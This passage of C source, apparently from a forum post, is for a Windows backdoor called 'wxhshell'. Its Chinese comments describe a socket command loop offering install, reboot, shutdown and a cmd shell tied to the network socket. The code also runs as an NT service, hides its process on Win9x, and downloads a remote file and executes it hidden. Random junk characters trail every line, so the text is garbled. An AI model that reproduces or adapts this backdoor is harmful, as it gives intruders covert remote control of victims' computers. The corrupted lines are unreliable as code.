      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); frO/ nx|9  
    break; =;?PVAdu%#  
  } 38.J:?Q  
  // 安装 c#-97"_8  
  case 'i': { $oBZe>s .  
    if(Install()) V<R+A*gY:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~{tZ;YZ  
    else >Ki]8 &  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {w1h<;MH  
    break; It:QXLi;  
    } SbNUX  
  // 卸载 @%B!$\]  
  case 'r': { _nCs$ U  
    if(Uninstall()) j`&i4K:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o_^d>Klb8  
    else C36.UZoc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _=M'KCL*)  
    break; sYW)h$p;D  
    } *Zo o  
  // 显示 wxhshell 所在路径 8$xKg3-3M  
  case 'p': { GZ>% &^E  
    char svExeFile[MAX_PATH]; ^T1-dw(  
    strcpy(svExeFile,"\n\r"); vCe<-k  
      strcat(svExeFile,ExeFile); YD>>YaH_3@  
        send(wsh,svExeFile,strlen(svExeFile),0); zbKW.u]v  
    break; w*R-E4S?2  
    } Y8xnvK*  
  // 重启 |ssIUJ  
  case 'b': { 1&L){hg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (dprY1noC  
    if(Boot(REBOOT)) ;77o%J'l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1]X   
    else { vrldRn'*9  
    closesocket(wsh); z7}zf@Y-qv  
    ExitThread(0); >Ezwl5b  
    } Rm 1`D  
    break; CO+jB  
    } 0\<-R  
  // 关机 r4>I?lD  
  case 'd': { 93eqFCF.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lTd2~_  
    if(Boot(SHUTDOWN)) JF\viMfR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7%FZXsD  
    else { -"tgEC\tD  
    closesocket(wsh); <;Z3 5 {  
    ExitThread(0); %>U*A  
    } hCoL j6Vx  
    break; aw~EK0yU   
    } qxr&_r  
  // 获取shell /'_ RI  
  case 's': { r/<JY5  
    CmdShell(wsh); "4AQpD  
    closesocket(wsh); ^<Tp-,J$EN  
    ExitThread(0); >^ar$T;Ys  
    break; *w,gi.Y3  
  } 3^UsyZS)  
  // 退出 P&^7wud-sb  
  case 'x': { ?i=!UN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <vuX " 8  
    CloseIt(wsh); ;i?!qB>baX  
    break; TRok4uc  
    } odn`%ok  
  // 离开 qP'g}Pc  
  case 'q': { bbkI}d%(Ng  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >U/g*[>  
    closesocket(wsh); fb;"J+  
    WSACleanup(); |;-r};  
    exit(1); "kg$s5o  
    break; D*Q#G/TF3  
        } @h,$&=HY  
  } ~8{3Fc0  
  } sYI':UQe  
'vIkA=  
  // 提示信息 5hK\YTU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LkB!:+v |B  
} GK%ovK  
  } *03/ :q^(  
v('d H"Y  
  return; *?"{T;4u~O  
} 1 *CWHs  
 nGd  
// shell模块句柄 {f3fc8(p  
int CmdShell(SOCKET sock) dw!Eao47  
{ wKbymmG  
STARTUPINFO si; gI3rF=  
ZeroMemory(&si,sizeof(si)); (32nI?)a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9?c^~77  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #L$ I %L"  
PROCESS_INFORMATION ProcessInfo; ,e_#   
char cmdline[]="cmd"; [wG%@0\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ljON_*  
  return 0; ]w_)Spo.  
} c/U6K yiK  
@v=q,A8_  
// 自身启动模式 =1[g`b  
int StartFromService(void) VrxH6Y  
{ !l^AKn|  
typedef struct ~m U_ `o  
{ rv%[?Ml  
  DWORD ExitStatus; 2f4c;YS  
  DWORD PebBaseAddress; l$9,  
  DWORD AffinityMask; 74(J7  
  DWORD BasePriority; (*BW/.Fq  
  ULONG UniqueProcessId; =7,U qMl_  
  ULONG InheritedFromUniqueProcessId; "6QMa,)D  
}   PROCESS_BASIC_INFORMATION; 1U7HS2  
*)I1gR~  
PROCNTQSIP NtQueryInformationProcess; 3~la/$?p0  
wm71,R1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $ '*BS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3Q)>gh*  
nWu4HFi  
  HANDLE             hProcess; elgQcJ99  
  PROCESS_BASIC_INFORMATION pbi; j@!}r|-T  
A,)ELVk1F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -`EoTXT*U  
  if(NULL == hInst ) return 0; cvfAa#tq>  
j56 An6g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p]eD@3Wz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V+z)B+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $twF93u$  
I!D*(>  
  if (!NtQueryInformationProcess) return 0; J7vpCw2ni  
3fTI&2:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I|z#Aoc  
  if(!hProcess) return 0; W F<V2o{k  
KK$A 4`YoR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $:wM'&M  
![^h<Om  
  CloseHandle(hProcess); jRAL(r|  
0g-ESf``{n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q(Q9FonU  
if(hProcess==NULL) return 0; +r_[Tj|Er  
,+.# eg  
HMODULE hMod; FG:BRS<m~  
char procName[255]; ppKCY4  
unsigned long cbNeeded; 1+($"$ZC&B  
eS:e#>(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d2sq]Q  
^mQfXfuL  
  CloseHandle(hProcess); +~O{ UGB=  
LP /4e`  
if(strstr(procName,"services")) return 1; // 以服务启动 fM.|#eLi  
s#ZH.z@J  
  return 0; // 注册表启动 =)8fE*[s   
} t@M] ec  
; bE6Y]"Rz  
// 主模块 3~rc=e  
int StartWxhshell(LPSTR lpCmdLine) cU|jT8Q4H  
{ Hc|U@G  
  SOCKET wsl; *pp1Wa7O  
BOOL val=TRUE; DU8LU*q'  
  int port=0; S '+"+%^tj  
  struct sockaddr_in door; k1zt|  
U{(07GNm#  
  if(wscfg.ws_autoins) Install(); aS G2K0  
7+4"+CA  
port=atoi(lpCmdLine); 8ZfIh   
7:'>~>'  
if(port<=0) port=wscfg.ws_port; c F]3gM  
^#se4qQ  
  WSADATA data; -74T C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >/bK?yT<  
DjvgKy=Jr_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B)8Hj).@B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vI}S6-"<  
  door.sin_family = AF_INET; k]pD3.QJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1s[-2^D+EM  
  door.sin_port = htons(port); 'U$VO q?!  
W=]",<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z-gG(  
closesocket(wsl); #SNI dc>9\  
return 1; Fg_s'G,`  
} *PU,Rc()6  
w[YbL2p  
  if(listen(wsl,2) == INVALID_SOCKET) { ygt)7f5  
closesocket(wsl); RQNi&zX/  
return 1; 4LJ}>e  
} X{9o8 *V  
  Wxhshell(wsl); /j@ `aG(a  
  WSACleanup(); !5t 3Y  
tdF[2@?+  
return 0; F:GKnbY  
~la04wR28  
} >Fk `h=Wd  
T?{9Z  
// 以NT服务方式启动 KdsvZim0>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "e<. n  
{ z}8L}:  
DWORD   status = 0; :=v{inN  
  DWORD   specificError = 0xfffffff; #q.G_-H4J@  
6*33k'=;F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u?Mu*r?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $OoN/^kv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ld:alEo  
  serviceStatus.dwWin32ExitCode     = 0; ~ O=|v/]  
  serviceStatus.dwServiceSpecificExitCode = 0; )^f Q@C8  
  serviceStatus.dwCheckPoint       = 0; R9G)X]  
  serviceStatus.dwWaitHint       = 0; 9yw/-nA  
UVUO}B@[S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); chzR4"WZFt  
  if (hServiceStatusHandle==0) return; D-:<]D:  
[=3tAPpzK  
status = GetLastError(); pF+wH MhUe  
  if (status!=NO_ERROR) +J8/,d  
{ 9$@ g;?}Ps  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q%Jy>IXt  
    serviceStatus.dwCheckPoint       = 0; yUwgRj  
    serviceStatus.dwWaitHint       = 0; bTp2)a^G  
    serviceStatus.dwWin32ExitCode     = status; [ c[MQA0  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~U6YN_W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); utJVuJw:t  
    return; #(g+jb0E  
  } b7sE  
m>dcb 6B+g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y]f^`2L!8>  
  serviceStatus.dwCheckPoint       = 0; A=]F_  
  serviceStatus.dwWaitHint       = 0; 810<1NP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3N0X?* (x|  
} E?4@C"Na  
q)xl$*g  
// 处理NT服务事件,比如:启动、停止 v |2q2bz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T&"dBoUq>G  
{ `G0rF\[  
switch(fdwControl) @"Fp;Je\bN  
{ w[oQ}5?9'  
case SERVICE_CONTROL_STOP: P`I G9  
  serviceStatus.dwWin32ExitCode = 0; @EOR] ^?!]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M2P@ &  
  serviceStatus.dwCheckPoint   = 0; ]O=S2Q  
  serviceStatus.dwWaitHint     = 0; -<JBKPtA  
  { [*{\R`M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %g@3S!lK  
  } b_gN?F7_  
  return; uPC qO+f  
case SERVICE_CONTROL_PAUSE: >VUQTg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nk|N.%E  
  break; 39aCwhh7v  
case SERVICE_CONTROL_CONTINUE: ^@*zH ?Rx{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3_*Xk. .d  
  break; qTh='~m4[  
case SERVICE_CONTROL_INTERROGATE: ka)LK@p6  
  break; eGe[sv"k  
}; 6 #x)W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~73i^3yf  
} UtBlP+bE?y  
i,Wm{+H-O  
// 标准应用程序主函数 3 s_k>cO=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q}?N4kg  
{ Xm=^\K3  
QJIItx4hE  
// 获取操作系统版本 ;.Oh88|k  
OsIsNt=GetOsVer(); Xtu`5p_Qv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tGO[A#9a  
^A "lkV7  
  // 从命令行安装 K l0tyeT  
  if(strpbrk(lpCmdLine,"iI")) Install(); u ?G\b{$m  
v;bP8)mI  
  // 下载执行文件 3ES[ N.V#  
if(wscfg.ws_downexe) { jo;uRl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZG/8Ds  
  WinExec(wscfg.ws_filenam,SW_HIDE); <.=#EV^i  
} =Kt9,d08x  
]O7.ss/2  
if(!OsIsNt) { Ns!3- Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 m,gy9$  
HideProc(); H MjeGO.i  
StartWxhshell(lpCmdLine); hLytKPgt  
} :ONuWNY N  
else lO2T/1iMTW  
  if(StartFromService()) [71#@^ye  
  // 以服务方式启动 ]oas  
  StartServiceCtrlDispatcher(DispatchTable); X=p3KzzX  
else &J^4Y!gt  
  // 普通方式启动 ^/DII`A  
  StartWxhshell(lpCmdLine); !&a;P,_Fb  
Z ]aK'  
return 0; aq0iNbv@  
}
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只看该作者 1 发表于: 2006-10-10
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